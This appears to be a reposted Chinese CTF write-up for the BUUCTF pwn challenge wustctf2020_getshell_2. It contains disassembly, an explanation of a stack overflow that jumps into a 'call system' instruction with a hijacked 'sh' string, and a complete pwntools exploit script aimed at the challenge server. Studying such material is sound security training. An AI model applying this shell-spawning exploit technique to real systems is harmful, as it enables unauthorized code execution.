BUUCTF-wustctf2020_getshell_2

BUUCTF-wustctf2020_getshell_2

一、题目来源

BUUCTF-Pwn-wustctf2020_getshell_2

二、信息搜集

通过 file 命令查看文件类型:

image

通过 checksec 命令查看文件采用的保护措施:

image

三、反汇编文件开始分析

main 函数中调用了 vulnerable 函数,点进去查看逻辑:

.text:08048582                                   public vulnerable
.text:08048582                                   vulnerable proc near                    ; CODE XREF: main+16↓p
.text:08048582
.text:08048582                                   buf= byte ptr -18h
.text:08048582
.text:08048582                                   ; __unwind {
.text:08048582 000 55                            push    ebp
.text:08048583 004 89 E5                         mov     ebp, esp
.text:08048585 004 83 EC 18                      sub     esp, 18h
.text:08048588 01C 83 EC 04                      sub     esp, 4
.text:0804858B 020 6A 24                         push    24h ; '$'                       ; nbytes
.text:0804858D 024 8D 45 E8                      lea     eax, [ebp+buf]
.text:08048590 024 50                            push    eax                             ; buf
.text:08048591 028 6A 00                         push    0                               ; fd
.text:08048593 02C E8 18 FE FF FF                call    _read
.text:08048593
.text:08048598 02C 83 C4 10                      add     esp, 10h
.text:0804859B 01C 90                            nop
.text:0804859C 01C C9                            leave
.text:0804859D 000 C3                            retn
.text:0804859D                                   ; } // starts at 8048582
.text:0804859D
.text:0804859D                                   vulnerable endp

不难发现,read 存在溢出的现象,但是溢出的长度并不多,除去无效 padding 部分,有效 payload 只能占 8 字节。

我们再注意到 .text 段中存在一个名为 shell 的函数,其代码:

.text:0804851B                                   public shell
.text:0804851B                                   shell proc near
.text:0804851B                                   ; __unwind {
.text:0804851B 000 55                            push    ebp
.text:0804851C 004 89 E5                         mov     ebp, esp
.text:0804851E 004 83 EC 08                      sub     esp, 8
.text:08048521 00C 83 EC 0C                      sub     esp, 0Ch
.text:08048524 018 68 50 86 04 08                push    offset command                  ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529 01C E8 B2 FE FF FF                call    _system
.text:08048529
.text:0804852E 01C 83 C4 10                      add     esp, 10h
.text:08048531 00C 90                            nop
.text:08048532 00C C9                            leave
.text:08048533 000 C3                            retn
.text:08048533                                   ; } // starts at 804851B
.text:08048533
.text:08048533                                   shell endp

虽说其调用了 system 函数,但是其参数明显是来捣乱的。

但是,我们同时可以注意到,"sh"字符处于"/bbbbbbbbin_what_the_f?ck__--??/sh"这一长串字符的末尾部分,那么我们就可以采取“字符串劫持”的手段来提取字符"sh",若服务器端将"sh"放在环境变量中,我们依然可以实现 getshell。

.rodata:08048650 2F 62 62 62 62 62 62 62 62 69     command db '/bbbbbbbbin_what_the_f?ck__--??/sh',0

明显,我们的字符串 b'sh\x00' 所在的位置是 0x08048670

四、Poc 构造

我们不能直接使用 system@plt 地址来构造我们的 ROP。

原因很简单,我们的有效 ROP 只允许我们添加两个 gadget,但是若要在 32 位CPU架构的计算机中正常调用 system 需要 3 个 gadget 即:

padding + system + fake_ret + arg1

但是,好在 shell 函数提供了新的思路给我们。

我们不一定要“自己构造 ROP 来实现函数调用”,我们可以直接用 shell 中的 call 来实现函数调用,只需要将地址定位在 0x08048529,即:

.text:08048529 01C E8 B2 FE FF FF                call    _system

从这开始运行,即CPU 默认你在栈上已经准备好了 system 所需要的参数。根据栈溢出,我们很容易实现在栈上准备好这个“参数”。

因此,最终 Poc:

from pwn import *context(arch="i386",os="linux",log_level="debug")# p = process("./pwn")
elf = ELF("./pwn")
p = remote("node5.buuoj.cn",25151)padding = 0x1c
system = 0x08048529
sh = 0x08048670payload = b'A'*padding + p32(system) + p32(sh)p.send(payload)p.interactive()

运行:

image

成功拿下 Flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/960728.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

P14359 [CSP-J 2025] 异或和 / xor(官方数据)

P14359 [CSP-J 2025] 异或和 / xor(官方数据) 错误思路 1. 暴力___概不多说,暴力出奇迹 直接枚举所有可能的子数组,计算每个子数组的异或和并判断是否等于k。但数组长度最大可达510⁵,枚举所有子数组的时间复杂度…

实现AI和BI整合的初步思路和探索

这些年AI火的一塌糊涂,很多行业和传统技术领域都在积极的跟其产生交集。 BI是一个20年前开始火起来的技术,跌跌荡荡这些年,如今虽然不是网红菜,但绝对是企业的必点菜。 AI的出现让很多东西跟人们越来越近,那么AI配…

试了下KenLM

〔图解N-gram语言模型的原理〕〔KenLM〕 先下载编译KenLMwget -O - https://kheafield.com/code/kenlm.tar.gz | tar xz # 7z最大压缩后 315Klibboost-program-options-dev libboost-system-dev libboost-thread-dev l…

从CPython底层解析:为何a=10 b=10复用对象,a=[] b=[]新建对象?

从CPython底层解析:为何a=10 b=10复用对象,a=[] b=[]新建对象? 用户的核心疑问本质是:CPython对“不可变对象(如int)”和“可变对象(如list)”采用了完全不同的“对象创建-复用策略”——前者通过“预缓存池”…

Netty线程模型:EventLoop机制与原理解析

目录1. Netty线程模型概述1.1 为什么需要特殊的线程模型?2. EventLoop核心机制2.1 EventLoop基本概念2.1.1. EventLoop执行引擎原理2.1.2. 核心执行逻辑实现2.2. Netty的线程模型实现2.2.1. 主从EventLoopGroup设计2.…

对长度为 n 的数组 arr,调用 `merge_sort(a, 0, n-1)`,在排序过程中,`merge` 函数的递归调用次数大约是多少?

归并排序(Merge Sort) 的标准 基于C++ 实现:对长度为 n 的数组 arr,调用 merge_sort(a, 0, n-1),在排序过程中,merge 函数的递归调用次数大约是多少?✅ 一、代码结构回顾 关键递归函数: void merge_sort(int a…

解析SP3D VUE和PDMS RVM文件-PlantAssistant

在PlantAssistant中增加视图相关设置选项,如设置是否显示坐标轴、视图方块、三维视图背景,可以设置背景颜色,还可以设置一张图片作为三维视图背景。引言 依托主流工厂设计软件数字化交付数据文件,AVEVA公司PDMS/E3…

古建筑学习

http://www.sihey.com/zsyl/pw/作者:太一吾鱼水 宣言:在此记录自己学习过程中的心得体会,同时积累经验,不断提高自己! 声明:博客写的比较乱,主要是自己看的。如果能对别人有帮助当然更好,不喜勿喷! …

VS Code 1.105正式发布: AI 新特性详解:7 大亮点全面提升智能开发体验 - 详解

VS Code 1.105正式发布: AI 新特性详解:7 大亮点全面提升智能开发体验 - 详解2025-11-09 20:29 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflo…

20251109-3

经过今天晚上近两个小时的努力,终于初具雏形了!! 添加功能如下: 1.增加了计量分数,和金币的功能。 2.增加了属性加点功能。 3.增加了怪物的增长曲线。 4.增加了界面跳转和回合重置。 也能应该够格算一个纯前端的简…

kettle从入门到精通 第110课 ETL之kettle webspoon的两种部署方式docker+tomcat使用教程

大家好,经常有小伙伴私信我咨询webspoon的部署问题,今天周末抽点时间一起梳理学习下。 1、docker方式部署 1)docker方式部署可以参考我之前的文章【kettle从入门到精通 第四十八课 ETL之kettle webspoon】 2)有时候…

【达梦数据库】性能优化-转正官网

【达梦数据库】性能优化-转正官网一、前言 1.1 概述 性能优化是指在不影响系统运行正确性的前提下,使之运行地更快,完成特定功能所需的时间更短。达梦数据库性能优化主要包含以下内容: @list l0:level1{ mso-level-…

Python中`a = 10`的6种读法对比:哪种最贴合名字-对象模型?

以下是针对a = 10语句设计的6种常见读法,结合Python名字-对象绑定模型(呼应前文《西游记》“符咒-山”比喻),通过列表对比各读法的优劣,最终明确适配Python认知的最优选择: Python中a = 10的6种读法对比:哪种最…

netgear r6220 路由器,刷openwrt后,体系备份还原

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

文字识别准确度

文字识别准确度coding: utf-8 import torch import torch.nn as nn import torch.optim as optim from torch.utils.data import Dataset, DataLoader from torchvision import transforms from PIL import Image, Ima…

原生多模态AI架构:统一训练与跨模态推理的环境实现与性能优化

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

VBA之Word应用第四章第三节:段落集合Paragraphs对象的手段(一)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

日记?

还是写一写的好虽然叫日记但是并不是日日记,差不多就是有话就写没话不硬挤吧。 尽量避免写垃圾话(存疑)。 不喜欢流水账,流水账太无聊了,写流水账的就应该重修小学学位攻读废话博士。 2025.11.9 前几天因为心态彻…

2025校运会小记

2025 校运会小记 前言 update 2025.11.09 本来拖到这么久还没有开始写,大概是要咕咕掉了的。但是想到这个运动会还是太有意思了,所以写吧。这篇应该没有照片,因为懒得放,因为放照片是不是得把其他人(以及我自己?…

安卓项目调用摄像头或相机。调用不了相机解决方案

这里推荐两篇文章: https://blog.csdn.net/weixin_31569663/article/details/148461910 这个是介绍了如何声明和请求相机及存储权限,然后详细说明了使用Camera API的基本流程,包括启动预览、拍照及图片保存。之后,…